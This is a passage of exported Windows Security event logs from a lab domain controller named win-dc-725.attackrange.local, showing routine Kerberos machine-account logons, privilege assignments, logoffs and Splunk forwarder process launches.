-Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4252C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65381 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:30:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256557 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4252C4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:31:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256560 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256562 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256563 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256564 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256565 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256566 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:31:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256568 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x427D35 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65387 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:31:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256567 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x427D35 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:31:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256569 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x427D35 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:31:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256572 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4289D0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:31:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256571 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4289D0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65395 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:31:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256570 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4289D0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256578 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x428CE8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256577 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x428CE8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65399 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256576 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x428CE8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256575 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x428C7C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256574 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x428C7C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65398 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256573 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x428C7C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256579 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256581 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256580 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1250 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 